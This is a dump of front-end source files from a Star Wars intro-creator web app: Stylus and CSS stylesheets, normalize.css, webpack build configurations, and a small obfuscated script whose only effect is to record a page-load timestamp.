71 | }
72 | }
73 | }
74 |
75 | .rightFooter {
76 | mobileFooter();
77 |
78 | @media mobile {
79 | margin-top: 380px;
80 | padding-bottom: 50px;
81 | }
82 |
83 | position: fixed;
84 | right: 1em;
85 | bottom: 1em;
86 | z-index: 10;
87 | text-align: center;
88 |
89 | a{
90 | display: block;
91 | margin-bottom: 5px;
92 | color: $titlesColor;
93 | text-decoration: none;
94 |
95 | &:hover{
96 | text-decoration: underline;
97 | }
98 | }
99 |
100 | #anotherServiceLink {
101 | margin-bottom: 20px;
102 | }
103 |
104 | &.-chat-available {
105 | bottom: 11em;
106 | }
107 |
108 | // Margin for Facebook Messenger Chat plugin
109 | // bottom: 5em;
110 | }
111 |
112 | @media only screen and (max-device-width : 1024px) {
113 |
114 | .socialButtons {
115 | position: initial;
116 | align-items: center;
117 | margin-bottom: 30px;
118 | }
119 |
120 | .rightFooter {
121 | position: initial;
122 | display: flex;
123 | flex-direction: column;
124 | align-items: center;
125 | margin-bottom: 30px;
126 | }
127 | }
128 | }
129 |
--------------------------------------------------------------------------------
/src/styles/imageAdjustmentDialog.styl:
--------------------------------------------------------------------------------
1 | .crop-dialog-easy-actions {
2 | button {
3 | min-width: 38px;
4 | min-height: 38px;
5 | max-width: 38px;
6 | max-height: 38px;
7 | }
8 | }
9 |
10 | .cropper-container {
11 | width: 50vw;
12 | height: 50vh;
13 |
14 | @media (max-width: 1024px) {
15 | width: 100%;
16 | height: 60vh;
17 | }
18 | }
19 |
20 | .reactEasyCrop_Container {
21 | background: #424242;
22 | }
23 |
24 | .reactEasyCrop_Image {
25 | z-index: 10;
26 | }
27 |
28 | .reactEasyCrop_CropArea {
29 | z-index: 11;
30 | }
--------------------------------------------------------------------------------
/src/styles/main.styl:
--------------------------------------------------------------------------------
1 | @import './fonts/NewsCycleFont.css';
2 | @import './imageAdjustmentDialog.styl';
3 |
4 | @font-face {
5 | font-family: StarWars;
6 | src: url('./fonts/Starjedi.ttf');
7 | }
8 |
9 | @font-face {
10 | font-family: StarWarsTitle;
11 | src: url('./fonts/SWCrawlTitle3.ttf');
12 | }
13 |
14 | html,
15 | button,
16 | input,
17 | textarea {
18 | line-height: 1.25em;
19 | }
20 |
21 | starWarsFontStyle() {
22 | color: $titlesColor;
23 | letter-spacing: 3px;
24 | font-family: StarWars;
25 | line-height: 1.1em;
26 | }
27 |
28 | $defaultFontFamily = Arial, sans-serif;
29 |
30 | // media queries
31 | $HD = '(max-height: 720px)';
32 |
33 | // variables
34 | $timeFactor = 1.0;
35 | $extraTime = 0s;
36 | $introColor = #4bd5ee;
37 | $titlesColor = #ffd54e;
38 |
39 | $formBackgroundColor = lighten(black, 3%);
40 | $panelBackgroundColor = lighten(black, 5%);
41 |
42 | $buttonHoverColor = #382b00;
43 | $buttonFocusColor = lighten($formBackgroundColor, 40%);
44 |
45 | $errorRed = #ab0000;
46 | $panelTextColor = #d0ad3e;
47 | $warningYellow = $panelTextColor;
48 |
49 | mobile = 'only screen and (max-device-width : 500px)';
50 |
51 | :root {
52 | --time-factor: $timeFactor;
53 | --extra-time: $extraTime;
54 |
55 | --intro-background-duration: calc(9s * var(--time-factor));
56 |
57 | --intro-text-duration: calc(6s * var(--time-factor));
58 | --intro-text-delay: calc(1s * var(--time-factor));
59 |
60 | --intro-logo-duration: calc(11s * var(--time-factor));
61 | --intro-logo-delay: calc(9s * var(--time-factor));
62 |
63 | --intro-crawl-duration: calc((73s + var(--extra-time)) * var(--time-factor));
64 | --intro-crawl-delay: calc(13s * var(--time-factor));
65 |
66 | --intro-ending-duration: calc(7s * var(--time-factor));
67 | --intro-ending-delay: calc((86s + var(--extra-time)) * var(--time-factor));
68 | }
69 |
70 | html,
71 | body {
72 | display: initial;
73 | margin: 0;
74 | width: 100%;
75 | height: 100%;
76 | background: url('https://kassellabs.us-east-1.linodeobjects.com/static-assets/star-wars/bg-stars.png') repeat;
77 | background-color: black;
78 | color: $titlesColor;
79 | }
80 |
81 | h1 {
82 | font-size: 40px;
83 |
84 | @media mobile {
85 | font-size: 60px;
86 | }
87 | }
88 |
89 | h2 {
90 | font-size: 2em;
91 |
92 | @media mobile {
93 | font-size: 4em;
94 | }
95 | }
96 |
97 | iframe{
98 | border: 0;
99 | }
100 |
101 | .verticalWrapper{
102 | position: absolute;
103 | top: 0;
104 | right: 0;
105 | bottom: 0;
106 | left: 0;
107 | display: flex;
108 | align-items: center;
109 | width: 100%;
110 | height: 100%;
111 |
112 | @media mobile {
113 | height: 100vh;
114 | width: 100vw;
115 | }
116 | }
117 |
118 | @keyframes fadeinAnimation {
119 | from {
120 | visibility: hidden;
121 | opacity: 0;
122 | }
123 |
124 | to {
125 | visibility: visible;
126 | opacity: 1;
127 | }
128 | }
129 |
130 | @keyframes fadeoutAnimation {
131 | from {
132 | visibility: visible;
133 | opacity: 1;
134 | }
135 |
136 | to {
137 | visibility: hidden;
138 | opacity: 0;
139 | }
140 | }
141 |
142 | fadeIn($delay = 0s, $fadeDuration = 500ms) {
143 | animation: fadeinAnimation $fadeDuration linear $delay forwards;
144 | }
145 |
146 | fadeOut($delay = 0s, $fadeDuration = 500ms) {
147 | animation: fadeoutAnimation $fadeDuration linear $delay forwards;
148 | }
149 |
150 | buttonStyle() {
151 | margin: 0 .3125em;
152 | padding: .625em 2em;
153 | border: 2px solid $panelTextColor !important;
154 | border-radius: 3px !important;
155 | background-color: $formBackgroundColor;
156 | color: $panelTextColor;
157 | text-align: center;
158 | font-weight: 500;
159 | font-size: 1.0625em;
160 | font-family: $defaultFontFamily;
161 | cursor: pointer;
162 | outline: none;
163 |
164 | &:hover, &:active {
165 | background-color: $buttonHoverColor !important;
166 | }
167 |
168 | &:focus {
169 | box-shadow: 0 0 0 2px $buttonFocusColor !important;
170 | }
171 |
172 | @media mobile {
173 | margin-top: 20px;
174 | width: 100%;
175 | border: 4px solid $panelTextColor !important;
176 | border-radius: 6px !important;
177 | font-size: 2em;
178 |
179 | &:focus {
180 | box-shadow: 0 0 0 4px $buttonFocusColor !important;
181 | }
182 | }
183 | }
184 |
185 | @import './configForm.styl';
186 | @import './bb8.css';
187 | @import './punchItBB8.styl';
188 | @import './animation.styl';
189 | @import './footer.styl';
190 | @import './sweetalert.styl';
191 |
192 | .hide {
193 | display: none;
194 | }
195 |
196 | .noselect {
197 | user-select: none;
198 | }
199 |
200 | #bb8-loading {
201 | display: none;
202 | }
203 |
204 | #requestInteractionButton {
205 | display: none;
206 | align-items: center;
207 | justify-content: center;
208 | width: 100%;
209 | height: 100%;
210 |
211 | > div {
212 | @extend $actionButtonStyle;
213 | }
214 | }
215 |
216 | .pageTitle {
217 | starWarsFontStyle();
218 | margin-top: 0;
219 | text-align: center;
220 | }
221 |
222 | @import './bodyStates.styl';
223 | @import './downloadPage.styl';
224 | @import './donation_after.styl';
225 |
226 | @import './scrollbar.styl';
227 | @import './checkForDonation.styl';
228 | @import './Loader.styl';
229 | @import './videoOptions.styl';
230 | @import './socialButtons.styl';
231 |
--------------------------------------------------------------------------------
/src/styles/normalize.css:
--------------------------------------------------------------------------------
1 | /*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */
2 |
3 | /* Document
4 | ========================================================================== */
5 |
6 | /**
7 | * 1. Correct the line height in all browsers.
8 | * 2. Prevent adjustments of font size after orientation changes in iOS.
9 | */
10 |
11 | html {
12 | line-height: 1.15; /* 1 */
13 | -webkit-text-size-adjust: 100%; /* 2 */
14 | }
15 |
16 | /* Sections
17 | ========================================================================== */
18 |
19 | /**
20 | * Remove the margin in all browsers.
21 | */
22 |
23 | body {
24 | margin: 0;
25 | }
26 |
27 | /**
28 | * Render the `main` element consistently in IE.
29 | */
30 |
31 | main {
32 | display: block;
33 | }
34 |
35 | /**
36 | * Correct the font size and margin on `h1` elements within `section` and
37 | * `article` contexts in Chrome, Firefox, and Safari.
38 | */
39 |
40 | h1 {
41 | font-size: 2em;
42 | margin: 0.67em 0;
43 | }
44 |
45 | /* Grouping content
46 | ========================================================================== */
47 |
48 | /**
49 | * 1. Add the correct box sizing in Firefox.
50 | * 2. Show the overflow in Edge and IE.
51 | */
52 |
53 | hr {
54 | box-sizing: content-box; /* 1 */
55 | height: 0; /* 1 */
56 | overflow: visible; /* 2 */
57 | }
58 |
59 | /**
60 | * 1. Correct the inheritance and scaling of font size in all browsers.
61 | * 2. Correct the odd `em` font sizing in all browsers.
62 | */
63 |
64 | pre {
65 | font-family: monospace, monospace; /* 1 */
66 | font-size: 1em; /* 2 */
67 | }
68 |
69 | /* Text-level semantics
70 | ========================================================================== */
71 |
72 | /**
73 | * Remove the gray background on active links in IE 10.
74 | */
75 |
76 | a {
77 | background-color: transparent;
78 | }
79 |
80 | /**
81 | * 1. Remove the bottom border in Chrome 57-
82 | * 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari.
83 | */
84 |
85 | abbr[title] {
86 | border-bottom: none; /* 1 */
87 | text-decoration: underline; /* 2 */
88 | text-decoration: underline dotted; /* 2 */
89 | }
90 |
91 | /**
92 | * Add the correct font weight in Chrome, Edge, and Safari.
93 | */
94 |
95 | b,
96 | strong {
97 | font-weight: bolder;
98 | }
99 |
100 | /**
101 | * 1. Correct the inheritance and scaling of font size in all browsers.
102 | * 2. Correct the odd `em` font sizing in all browsers.
103 | */
104 |
105 | code,
106 | kbd,
107 | samp {
108 | font-family: monospace, monospace; /* 1 */
109 | font-size: 1em; /* 2 */
110 | }
111 |
112 | /**
113 | * Add the correct font size in all browsers.
114 | */
115 |
116 | small {
117 | font-size: 80%;
118 | }
119 |
120 | /**
121 | * Prevent `sub` and `sup` elements from affecting the line height in
122 | * all browsers.
123 | */
124 |
125 | sub,
126 | sup {
127 | font-size: 75%;
128 | line-height: 0;
129 | position: relative;
130 | vertical-align: baseline;
131 | }
132 |
133 | sub {
134 | bottom: -0.25em;
135 | }
136 |
137 | sup {
138 | top: -0.5em;
139 | }
140 |
141 | /* Embedded content
142 | ========================================================================== */
143 |
144 | /**
145 | * Remove the border on images inside links in IE 10.
146 | */
147 |
148 | img {
149 | border-style: none;
150 | }
151 |
152 | /* Forms
153 | ========================================================================== */
154 |
155 | /**
156 | * 1. Change the font styles in all browsers.
157 | * 2. Remove the margin in Firefox and Safari.
158 | */
159 |
160 | button,
161 | input,
162 | optgroup,
163 | select,
164 | textarea {
165 | font-family: inherit; /* 1 */
166 | font-size: 100%; /* 1 */
167 | line-height: 1.15; /* 1 */
168 | margin: 0; /* 2 */
169 | }
170 |
171 | /**
172 | * Show the overflow in IE.
173 | * 1. Show the overflow in Edge.
174 | */
175 |
176 | button,
177 | input { /* 1 */
178 | overflow: visible;
179 | }
180 |
181 | /**
182 | * Remove the inheritance of text transform in Edge, Firefox, and IE.
183 | * 1. Remove the inheritance of text transform in Firefox.
184 | */
185 |
186 | button,
187 | select { /* 1 */
188 | text-transform: none;
189 | }
190 |
191 | /**
192 | * Correct the inability to style clickable types in iOS and Safari.
193 | */
194 |
195 | button,
196 | [type="button"],
197 | [type="reset"],
198 | [type="submit"] {
199 | -webkit-appearance: button;
200 | }
201 |
202 | /**
203 | * Remove the inner border and padding in Firefox.
204 | */
205 |
206 | button::-moz-focus-inner,
207 | [type="button"]::-moz-focus-inner,
208 | [type="reset"]::-moz-focus-inner,
209 | [type="submit"]::-moz-focus-inner {
210 | border-style: none;
211 | padding: 0;
212 | }
213 |
214 | /**
215 | * Restore the focus styles unset by the previous rule.
216 | */
217 |
218 | button:-moz-focusring,
219 | [type="button"]:-moz-focusring,
220 | [type="reset"]:-moz-focusring,
221 | [type="submit"]:-moz-focusring {
222 | outline: 1px dotted ButtonText;
223 | }
224 |
225 | /**
226 | * Correct the padding in Firefox.
227 | */
228 |
229 | fieldset {
230 | padding: 0.35em 0.75em 0.625em;
231 | }
232 |
233 | /**
234 | * 1. Correct the text wrapping in Edge and IE.
235 | * 2. Correct the color inheritance from `fieldset` elements in IE.
236 | * 3. Remove the padding so developers are not caught out when they zero out
237 | * `fieldset` elements in all browsers.
238 | */
239 |
240 | legend {
241 | box-sizing: border-box; /* 1 */
242 | color: inherit; /* 2 */
243 | display: table; /* 1 */
244 | max-width: 100%; /* 1 */
245 | padding: 0; /* 3 */
246 | white-space: normal; /* 1 */
247 | }
248 |
249 | /**
250 | * Add the correct vertical alignment in Chrome, Firefox, and Opera.
251 | */
252 |
253 | progress {
254 | vertical-align: baseline;
255 | }
256 |
257 | /**
258 | * Remove the default vertical scrollbar in IE 10+.
259 | */
260 |
261 | textarea {
262 | overflow: auto;
263 | }
264 |
265 | /**
266 | * 1. Add the correct box sizing in IE 10.
267 | * 2. Remove the padding in IE 10.
268 | */
269 |
270 | [type="checkbox"],
271 | [type="radio"] {
272 | box-sizing: border-box; /* 1 */
273 | padding: 0; /* 2 */
274 | }
275 |
276 | /**
277 | * Correct the cursor style of increment and decrement buttons in Chrome.
278 | */
279 |
280 | [type="number"]::-webkit-inner-spin-button,
281 | [type="number"]::-webkit-outer-spin-button {
282 | height: auto;
283 | }
284 |
285 | /**
286 | * 1. Correct the odd appearance in Chrome and Safari.
287 | * 2. Correct the outline style in Safari.
288 | */
289 |
290 | [type="search"] {
291 | -webkit-appearance: textfield; /* 1 */
292 | outline-offset: -2px; /* 2 */
293 | }
294 |
295 | /**
296 | * Remove the inner padding in Chrome and Safari on macOS.
297 | */
298 |
299 | [type="search"]::-webkit-search-decoration {
300 | -webkit-appearance: none;
301 | }
302 |
303 | /**
304 | * 1. Correct the inability to style clickable types in iOS and Safari.
305 | * 2. Change font properties to `inherit` in Safari.
306 | */
307 |
308 | ::-webkit-file-upload-button {
309 | -webkit-appearance: button; /* 1 */
310 | font: inherit; /* 2 */
311 | }
312 |
313 | /* Interactive
314 | ========================================================================== */
315 |
316 | /*
317 | * Add the correct display in Edge, IE 10+, and Firefox.
318 | */
319 |
320 | details {
321 | display: block;
322 | }
323 |
324 | /*
325 | * Add the correct display in all browsers.
326 | */
327 |
328 | summary {
329 | display: list-item;
330 | }
331 |
332 | /* Misc
333 | ========================================================================== */
334 |
335 | /**
336 | * Add the correct display in IE 10+.
337 | */
338 |
339 | template {
340 | display: none;
341 | }
342 |
343 | /**
344 | * Add the correct display in IE 10.
345 | */
346 |
347 | [hidden] {
348 | display: none;
349 | }
350 |
--------------------------------------------------------------------------------
/src/styles/punchItBB8.styl:
--------------------------------------------------------------------------------
1 |
2 | punchItBB8() {
3 | .bb8 {
4 | animation: puchItAnimation .5s cubic-bezier(0, .2, 0, 1) 0s forwards,
5 | bump .1s infinite linear alternate;
6 |
7 | .bb8-head {
8 | animation: bb8HeadAnimation .5s linear 0s forwards;
9 | }
10 |
11 | .bb8-antena {
12 | animation: bb8AntenaAnimation .5s linear 0s forwards;
13 | }
14 |
15 | .bb8-antena-2 {
16 | animation: bb8Antena2Animation .5s linear 0s forwards;
17 | }
18 | }
19 | }
20 |
21 | @keyframes puchItAnimation {
22 | from {
23 | left: -50%;
24 | }
25 | to {
26 | left: 50%;
27 | }
28 | }
29 |
30 | @keyframes bb8HeadAnimation {
31 | from {
32 | top: 3.6em;
33 | left: 7em;
34 | transform: rotate(35deg);
35 | }
36 | to {
37 | top: 1.6em;
38 | left: 0;
39 | transform: rotate(0);
40 | }
41 | }
42 |
43 | @keyframes bb8AntenaAnimation {
44 | from {
45 | top: 2.4em;
46 | margin-left: 9em;
47 | transform: rotate(35deg);
48 | }
49 |
50 | to {
51 | top: 0;
52 | margin-left: -.5em;
53 | transform: rotate(0deg);
54 | }
55 | }
56 |
57 | @keyframes bb8Antena2Animation {
58 | from {
59 | top: 1em;
60 | left: 16em;
61 | transform: rotate(35deg);
62 | }
63 |
64 | to {
65 | top: -2em;
66 | left: 50%;
67 | transform: rotate(0deg);
68 | }
69 | }
--------------------------------------------------------------------------------
/src/styles/scrollbar.styl:
--------------------------------------------------------------------------------
1 | ::-webkit-scrollbar {
2 | width: 10px;
3 | }
4 |
5 | ::-webkit-scrollbar-track {
6 | border-radius: 10px;
7 | background-color: $inputBorderColor;
8 | }
9 |
10 | ::-webkit-scrollbar-thumb {
11 | border-radius: 10px;
12 | background-color: $inputBorderColorHover;
13 | &:hover {
14 | background-color: $titlesColor;
15 | }
16 | }
--------------------------------------------------------------------------------
/src/styles/socialButtons.styl:
--------------------------------------------------------------------------------
1 | .social-buttons {
2 |
3 | .social-pages-links {
4 | margin-bottom: 10px;
5 | text-align: center;
6 | }
7 |
8 | .social-pages-links > a {
9 | margin-right: 10px;
10 | fill: $titlesColor;
11 |
12 | &:hover {
13 | fill: lighten($titlesColor, 30);
14 | }
15 | }
16 |
17 | svg {
18 | width: 40px;
19 | }
20 | }
21 |
--------------------------------------------------------------------------------
/src/styles/sweetalert.styl:
--------------------------------------------------------------------------------
1 | .swal2-popup.starwars-sweetalert {
2 | border: 2px solid $panelTextColor;
3 | background-color: $formBackgroundColor;
4 |
5 | @media mobile {
6 | font-size: 2em;
7 | }
8 |
9 | .swal2-title {
10 | starWarsFontStyle();
11 | margin-bottom: 1em;
12 | }
13 |
14 | .swal2-content{
15 | margin-bottom: 1em;
16 | color: $panelTextColor;
17 | font-family: $defaultFontFamily;
18 | }
19 |
20 | .swal2-actions:not(.swal2-loading) {
21 | button {
22 | buttonStyle();
23 |
24 | @media mobile {
25 | font-size: inherit;
26 | }
27 | }
28 | }
29 |
30 | .swal2-loading {
31 | button {
32 | border-right-color: $panelTextColor !important;
33 | border-left-color: $panelTextColor !important;
34 | }
35 | }
36 |
37 | .swal2-icon {
38 | &.swal2-error {
39 | border-color: $errorRed;
40 | .swal2-x-mark {
41 | span {
42 | background-color: $errorRed;
43 | }
44 | }
45 | }
46 |
47 | &.swal2-warning {
48 | border-color: $warningYellow;
49 | .swal2-icon-text{
50 | color: $warningYellow;
51 | }
52 | }
53 | }
54 |
55 | .swal2-close {
56 | color: $panelTextColor;
57 |
58 | &:hover {
59 | color: lighten($panelTextColor, 50%);
60 | }
61 | }
62 |
63 | .bold {
64 | font-weight: bold;
65 | }
66 | }
67 |
--------------------------------------------------------------------------------
/src/styles/videoOptions.styl:
--------------------------------------------------------------------------------
1 | #downloadPage {
2 | $buttonHighlightColor = $panelTextColor;
3 | $borderDefaultColor = darken($panelTextColor, 40);
4 | $borderFocusColor = darken($panelTextColor, 20);
5 | $backgroundSelectedColor = #1a1400;
6 |
7 | .video-options {
8 | display: flex;
9 | justify-content: center;
10 |
11 | > button.option {
12 | max-width: 230px;
13 | width: 100%;
14 | margin: 0;
15 | padding: 16px;
16 | border-width: 4px !important;
17 | border-radius: 18px !important;
18 | border-color: $borderDefaultColor !important;
19 | box-shadow: none !important;
20 | position relative;
21 |
22 |
23 | @media mobile {
24 | max-width: unset;
25 | }
26 |
27 | &:focus {
28 | border-color: $borderFocusColor !important;
29 | }
30 |
31 | &:hover {
32 | background-color: $backgroundSelectedColor !important;
33 | }
34 |
35 | &:not(:last-child) {
36 | margin-right: 14px;
37 | }
38 |
39 | &.-selected {
40 | border-color: $buttonHighlightColor !important;
41 | background-color: $backgroundSelectedColor !important;
42 | }
43 | }
44 |
45 | > button.option > .title {
46 | font-weight: bold;
47 | display: block;
48 | margin-bottom: 10px;
49 | }
50 |
51 | > button.option > .description {
52 | display: block;
53 | margin-bottom: 4px;
54 | }
55 |
56 | > button.option > .deathstar-icon {
57 | max-width: 80px;
58 | margin: 0 auto 10px;
59 | display: block;
60 |
61 | @media mobile {
62 | padding-right: 5px;
63 | }
64 | }
65 | }
66 |
67 | .help-button {
68 | position: absolute;
69 | right: 16px;
70 |
71 | > .icon {
72 | border: 3px solid currentcolor;
73 | border-radius: 100%;
74 | display: block;
75 | font-weight: bold;
76 | font-size: 20px;
77 | width: 20px;
78 | height: 20px;
79 | padding: 2px;
80 | cursor: pointer;
81 |
82 | @media mobile {
83 | font-size: 1.3em;
84 | border-width: 6px;
85 | padding: 4px;
86 | width: 40px;
87 | height: 40px;
88 | }
89 | }
90 |
91 | > .popover {
92 | opacity: 0;
93 | visibility: hidden;
94 | position: absolute;
95 | left: -111px;
96 | transform: translate(0, -90%);
97 | border: 4px solid currentcolor;
98 | background-color: $panelBackgroundColor;
99 | border-radius: 18px;
100 | padding: 16px;
101 | width: 222px;
102 |
103 | @media mobile {
104 | width: 350px;
105 | left: -300px;
106 | }
107 | }
108 |
109 | &:hover {
110 | > .popover {
111 | z-index: 10;
112 | opacity: 1;
113 | visibility: visible;
114 | transform: translate(0, -110%);
115 | transition: all 0.5s cubic-bezier(0.75, -0.02, 0.2, 0.97);
116 | }
117 | }
118 | }
119 |
120 | }
--------------------------------------------------------------------------------
/ss1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KasselLabs/StarWarsIntroCreator/b2561cbcad5520254bded42f1098d8a337977571/ss1.png
--------------------------------------------------------------------------------
/ss2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KasselLabs/StarWarsIntroCreator/b2561cbcad5520254bded42f1098d8a337977571/ss2.png
--------------------------------------------------------------------------------
/static/script.js:
--------------------------------------------------------------------------------
1 | window.setup = Date.now();
2 | const _0x42da = ['9833ngNSoL', '1JMcixD', '91wkbOpI', '85JKZmdY', 'playOpening', '5aXSWjC', '43oBPDZe', '1054057pYLHNL', '464361TINjeK', '8783SrdJsQ', 'setup', '23735vbDvpu', '1136963pNjPwu', '154909hiObPL']; const _0x5696 = function (_0x57b1fe, _0x24ac71) { _0x57b1fe -= 0xcc; const _0x42dab7 = _0x42da[_0x57b1fe]; return _0x42dab7; }; const _0x33749b = _0x5696; ((function (_0x24271b, _0x2f19c9) { const _0x4d7043 = _0x5696; while ([]) { try { const _0x325ad3 = -parseInt(_0x4d7043(0xd0)) * parseInt(_0x4d7043(0xd9)) + parseInt(_0x4d7043(0xd1)) + parseInt(_0x4d7043(0xd4)) * parseInt(_0x4d7043(0xcd)) + parseInt(_0x4d7043(0xcc)) + -parseInt(_0x4d7043(0xd5)) * parseInt(_0x4d7043(0xd3)) + -parseInt(_0x4d7043(0xd2)) * -parseInt(_0x4d7043(0xd8)) + -parseInt(_0x4d7043(0xce)) * parseInt(_0x4d7043(0xd6)); if (_0x325ad3 === _0x2f19c9) break; else _0x24271b.push(_0x24271b.shift()); } catch (_0x312dda) { _0x24271b.push(_0x24271b.shift()); } } }(_0x42da, 0xbb7db)), window[_0x33749b(0xd7)] = function () { const _0x35e9e7 = _0x33749b; return window[_0x35e9e7(0xcf)]; });
3 |
--------------------------------------------------------------------------------
/webpack.config.js:
--------------------------------------------------------------------------------
1 | const HtmlWebpackPlugin = require('html-webpack-plugin');
2 | const path = require('path');
3 | const CopyWebpackPlugin = require('copy-webpack-plugin');
4 | const Dotenv = require('dotenv-webpack');
5 |
6 | module.exports = {
7 | devServer: {
8 | host: '0.0.0.0',
9 | contentBase: path.join(__dirname, 'dist'),
10 | port: 8080,
11 | },
12 | entry: { index: path.resolve(__dirname, 'src', 'js', 'index.js') },
13 | module: {
14 | rules: [
15 | {
16 | test: /\.(png|jpe?g|svg|ttf|woff2?|mp3|ogg)$/,
17 | type: 'asset/resource',
18 | },
19 | {
20 | test: /\.css$/,
21 | use: ['style-loader', 'css-loader'],
22 | },
23 | {
24 | test: /\.styl$/,
25 | use: ['style-loader', 'css-loader', 'stylus-loader'],
26 | },
27 | {
28 | test: /\.html$/,
29 | loader: 'html-loader',
30 | },
31 | {
32 | test: /\.js$/,
33 | exclude: /node_modules/,
34 | use: ['babel-loader'],
35 | },
36 | ],
37 | },
38 | output: {
39 | path: path.resolve(__dirname, 'dist'),
40 | filename: '[hash].js',
41 | },
42 | plugins: [
43 | new Dotenv({
44 | systemvars: true,
45 | }),
46 | new HtmlWebpackPlugin({
47 | template: path.resolve(__dirname, 'src', 'index.html'),
48 | }),
49 | new CopyWebpackPlugin({
50 | patterns: [
51 | { from: 'static' },
52 | ],
53 | }),
54 | ],
55 | };
56 |
--------------------------------------------------------------------------------
/webpack.config.render.js:
--------------------------------------------------------------------------------
1 | const HtmlWebpackPlugin = require('html-webpack-plugin');
2 | const path = require('path');
3 | const Dotenv = require('dotenv-webpack');
4 |
5 | module.exports = {
6 | devServer: {
7 | contentBase: path.join(__dirname, 'dist'),
8 | port: 8080,
9 | },
10 | entry: { index: path.resolve(__dirname, 'src', 'renderer', 'rendererPage.js') },
11 | module: {
12 | rules: [
13 | {
14 | test: /\.(png|jpe?g|svg|ttf|woff2?|mp3|ogg)$/,
15 | type: 'asset/resource',
16 | },
17 | {
18 | test: /\.css$/,
19 | use: ['style-loader', 'css-loader'],
20 | },
21 | {
22 | test: /\.styl$/,
23 | use: ['style-loader', 'css-loader', 'stylus-loader'],
24 | },
25 | {
26 | test: /\.html$/,
27 | loader: 'html-loader',
28 | },
29 | {
30 | test: /\.js$/,
31 | exclude: /node_modules/,
32 | use: ['babel-loader'],
33 | },
34 | ],
35 | },
36 | output: {
37 | path: path.resolve(__dirname, 'dist'),
38 | },
39 | plugins: [
40 | new Dotenv({
41 | systemvars: true,
42 | }),
43 | new HtmlWebpackPlugin({
44 | template: path.resolve(__dirname, 'src', 'renderer', 'index.html'),
45 | filename: 'renderer.html',
46 | }),
47 | ],
48 | };
49 |
--------------------------------------------------------------------------------